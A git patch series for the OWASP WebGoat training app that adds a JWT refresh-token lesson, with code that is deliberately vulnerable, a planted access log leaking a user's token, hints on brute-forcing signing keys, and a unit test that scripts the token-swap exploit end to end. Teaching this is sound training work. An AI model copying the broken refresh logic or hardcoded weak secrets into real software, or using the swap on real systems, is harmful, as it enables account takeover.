--- a/webgoat-container/src/test/resources/logback-test.xml +++ b/webgoat-container/src/test/resources/logback-test.xml @@ -1 +1,15 @@ - \ No newline at end of file + + + + + \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java new file mode 100644 index 0000000000..192a4bef7e --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Lists; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/refresh/") +@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = Lists.newArrayList(); + + @PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody + ResponseEntity follow(@RequestBody Map json) { + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equals(user) && PASSWORD.equals(password)) { + return ResponseEntity.ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = Maps.newHashMap(); + claims.put("admin", "false"); + claims.put("user", user); + String token = Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = Maps.newHashMap(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("checkout") + public @ResponseBody + AttackResult checkout(@RequestHeader("Authorization") String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return trackProgress(success().build()); + } + return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return trackProgress(failed().output(e.getMessage()).build()); + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("newToken") + public @ResponseBody + ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map json) { + String user; + String refreshToken; + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ResponseEntity.ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + +} diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index 9eebc1f37b..e81693e102 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -110,49 +110,101 @@

Vote for your favorite

- +
-
-
- -
-
- -
-

Jerry

-
- Jerry is a small, brown, house mouse. -
-
- -
-
-
-
- -
-
- -
-

Tom

-
- Tom is a grey and white domestic short hair cat. -
-
- +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProductQuantityPriceTotal 
+ + + + $4.87$14.61 + +
+
+ +
+

Pentesting for professionals

+
by WebWolf Publishing
+ Status: Leaves warehouse in 2 - 3 weeks +
+
+
+ + $4.99$9.98 + +
     
Subtotal

Estimated shipping
+

Total

$24.59

$6.94
+

$31.53

      + + + +
@@ -209,7 +261,9 @@

Tom

diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 62f53fd550..21f416bb2f 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -14,6 +14,12 @@ jwt-secret-hint1=Save the token and try to verify the token locally jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list +jwt-refresh-hint1=Look at the access log you will find a token there +jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? +jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' +jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your refresh token +jwt-refresh-not-tom=User is not Tom but {0}, please try again + jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom jwt-final-not-tom=Username is not Tom try to pass a token for Tom diff --git a/webgoat-lessons/jwt/src/main/resources/images/logs.txt b/webgoat-lessons/jwt/src/main/resources/images/logs.txt index a4d1c7107e..42146c185b 100644 --- a/webgoat-lessons/jwt/src/main/resources/images/logs.txt +++ b/webgoat-lessons/jwt/src/main/resources/images/logs.txt @@ -1,6 +1,6 @@ -205.167.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /statuses/605086114483826688/favorite?authenticity_token=264c8bf11e0212227c001b77543c3519 HTTP/1.1" 404 242 "-" "Go-http-client/1.1" "-" -205.167.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /images/phocagallery/almhuette/thumbs/phoca_thumb_l_zimmer.jpg HTTP/1.1" 200 12783 "-" "Go-http-client/1.1" "-" -205.167.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /signup HTTP/1.1" 404 212 "-" "Go-http-client/1.1" "-" -205.167.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /vsmartseo/status/605086114483826688/actions HTTP/1.1" 404 249 "-" "Go-http-client/1.1" "-" -205.167.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /vsmartseo?p=s HTTP/1.1" 404 215 "-" "Go-http-client/1.1" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-" diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js new file mode 100644 index 0000000000..e8f24a2a5d --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js @@ -0,0 +1,42 @@ +$(document).ready(function () { + login('Jerry'); +}) + +function login(user) { + $.ajax({ + type: 'POST', + url: 'JWT/refresh/login', + contentType: "application/json", + data: JSON.stringify({user: user, password: "bm5nhSkxCXZkKRy4"}) + }).success( + function (response) { + localStorage.setItem('access_token', response['access_token']); + localStorage.setItem('refresh_token', response['refresh_token']); + } + ) +} + +//Dev comment: Pass token as header as we had an issue with tokens ending up in the access_log +webgoat.customjs.addBearerToken = function () { + var headers_to_set = {}; + headers_to_set['Authorization'] = 'Bearer ' + localStorage.getItem('access_token'); + return headers_to_set; +} + +//Dev comment: Temporarily disabled from page we need to work out the refresh token flow but for now we can go live with the checkout page +function newToken() { + localStorage.getItem('refreshToken'); + $.ajax({ + headers: { + 'Authorization': 'Bearer ' + localStorage.getItem('access_token') + }, + type: 'POST', + url: 'JWT/refresh/newToken', + data: JSON.stringify({refreshToken: localStorage.getItem('refresh_token')}) + }).success( + function () { + localStorage.setItem('access_token', apiToken); + localStorage.setItem('refresh_token', refreshToken); + } + ) +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc index 87f787a0f8..7e3357d8da 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc @@ -2,7 +2,7 @@ === Assignment -Jerry really wants to follow Tom, can you help him to follow Jerry? From a breach of last year the following logfile is available link:images/logs.txt[here] +Can you find a way to order the books but let *Tom* pay for them? diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java new file mode 100644 index 0000000000..0456010621 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java @@ -0,0 +1,102 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.Maps; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Map; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTRefreshEndpoint.PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTRefreshEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + //First login to obtain tokens for Jerry + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + //Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessTokenTom) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()) + .andReturn(); + tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + accessTokenTom = tokens.get("access_token"); + + //Now checkout with the new token from Tom + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at"))); + } + + @Test + public void flowForJerryAlwaysWorks() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again"))); + + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java index 498c976de2..ab922217ef 100644 --- a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java @@ -6,6 +6,10 @@ import io.jsonwebtoken.impl.TextCodec; import org.junit.Test; +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDateTime; +import java.time.Period; import java.util.Date; import java.util.Map; import java.util.concurrent.TimeUnit; @@ -34,4 +38,19 @@ public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { }).parse(token); } + + @Test + public void testRefresh() { + Instant now = Instant.now(); //current date + Claims claims = Jwts.claims().setIssuedAt(Date.from(now.minus(Duration.ofDays(10)))); + claims.setExpiration(Date.from(now.minus(Duration.ofDays(9)))); + claims.put("admin", "false"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4") + .compact(); + //Jws jws = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parseClaimsJws(token); + //Jwts.parser().setSigningKey().parsePlaintextJws(token); + System.out.println(token); + } } From 5b524d3a945f7c4fd30259f3df08aa457251b34d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 22 May 2018 20:30:09 +0200 Subject: [PATCH 61/76] Added more unit tests --- .../plugin/JWTRefreshEndpointTest.java | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java index 0456010621..0e13f142ca 100644 --- a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java @@ -1,5 +1,6 @@ package org.owasp.webgoat.plugin; +import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.common.collect.Maps; import org.hamcrest.CoreMatchers; @@ -78,6 +79,15 @@ public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception { .andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at"))); } + @Test + public void checkoutWitRandomTokenShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + @Test public void flowForJerryAlwaysWorks() throws Exception { ObjectMapper objectMapper = new ObjectMapper(); @@ -97,6 +107,78 @@ public void flowForJerryAlwaysWorks() throws Exception { .header("Authorization", "Bearer " + accessToken)) .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again"))); + } + + @Test + public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD + "wrong"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + @Test + public void loginShouldNotWorkForTom() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Tom"); + loginJson.put("password", PASSWORD); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void newTokenShouldWorkForJerry() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()); + } + + @Test + public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", "wrong_refresh_token"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isUnauthorized()); } } \ No newline at end of file From e0cf5b4a84f56d7ffcd8653f9dc72b85ac125aed Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 22 May 2018 20:31:08 +0200 Subject: [PATCH 62/76] Removed under construction from JWT lesson --- .../jwt/src/main/resources/i18n/WebGoatLabels.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 21f416bb2f..939de63aec 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -1,4 +1,4 @@ -jwt.title=JWT tokens (Under development) +jwt.title=JWT tokens #Assignment changing tokens jwt-user=You are logged in as {0}, but you are not an admin yet, please try again From 8d7ecb19d79ee614a90d4567c200a41533febdc1 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 23 May 2018 12:51:57 +0200 Subject: [PATCH 63/76] Added testcases for all JWT endpoints --- .../webgoat/plugin/JWTSecretKeyEndpoint.java | 31 ++- .../webgoat/plugin/JWTVotesEndpoint.java | 14 +- .../plugin/refresh/RefreshEndpoint.java | 9 - .../org/owasp/webgoat/plugin/votes/Views.java | 3 - .../org/owasp/webgoat/plugin/votes/Vote.java | 3 - .../resources/i18n/WebGoatLabels.properties | 4 +- .../plugin/JWTSecretKeyEndpointTest.java | 110 +++++++++++ .../webgoat/plugin/JWTVotesEndpointTest.java | 187 ++++++++++++++++++ 8 files changed, 329 insertions(+), 32 deletions(-) delete mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java index 1ce27e4166..5748681f50 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java @@ -1,14 +1,19 @@ package org.owasp.webgoat.plugin; +import com.google.common.collect.Lists; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.Jwts; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.List; /** * @author nbaars @@ -18,23 +23,29 @@ @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) public class JWTSecretKeyEndpoint extends AssignmentEndpoint { - private static final String JWT_SECRET = "victory"; + public static final String JWT_SECRET = "victory"; private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); - @PostMapping() - public void login(@RequestParam String token) { + @PostMapping + @ResponseBody + public AttackResult login(@RequestParam String token) { try { - Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJwt(token); + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parse(token); Claims claims = (Claims) jwt.getBody(); - String user = (String) claims.get("username"); - - if (WEBGOAT_USER.equalsIgnoreCase(user)) { - trackProgress(success().build()); + if (!claims.keySet().containsAll(expectedClaims)) { + return trackProgress(failed().feedback("jwt-secret-claims-missing").build()); } else { - trackProgress(failed().feedback("jwt-secret.not-correct").feedbackArgs(user).build()); + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-secret-incorrect-user").feedbackArgs(user).build()); + } } } catch (Exception e) { - trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); + return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); } } } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java index cf1e512db7..94f829191f 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java @@ -21,6 +21,8 @@ import javax.annotation.PostConstruct; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; +import java.time.Duration; +import java.time.Instant; import java.util.Date; import java.util.Map; import java.util.concurrent.TimeUnit; @@ -37,7 +39,7 @@ @AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) public class JWTVotesEndpoint extends AssignmentEndpoint { - private static final String JWT_PASSWORD = "victory"; + public static final String JWT_PASSWORD = "victory"; private static String validUsers = "TomJerrySylvester"; private static int totalVotes = 38929; @@ -65,11 +67,10 @@ public void initVotes() { @GetMapping("/login") public void login(@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) { - Map claims = Maps.newHashMap(); + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); claims.put("admin", "false"); claims.put("user", user); String token = Jwts.builder() - .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) .setClaims(claims) .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) .compact(); @@ -96,11 +97,11 @@ public MappingJacksonValue getVotes(@CookieValue(value = "access_token", require Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); - boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if ("Guest".equals(user) || !validUsers.contains(user)) { value.setSerializationView(Views.GuestView.class); + } else { + value.setSerializationView(Views.UserView.class); } - value.setSerializationView(isAdmin ? Views.AdminView.class : Views.UserView.class); } catch (JwtException e) { value.setSerializationView(Views.GuestView.class); } @@ -132,7 +133,8 @@ public ResponseEntity vote(@PathVariable String title, @CookieValue(value = " } @PostMapping("reset") - public @ResponseBody AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + public @ResponseBody + AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return trackProgress(failed().feedback("jwt-invalid-token").build()); } else { diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java deleted file mode 100644 index d04cf8ef75..0000000000 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java +++ /dev/null @@ -1,9 +0,0 @@ -package org.owasp.webgoat.plugin.refresh; - -public class RefreshEndpoint { - - private static final String TOKEN = 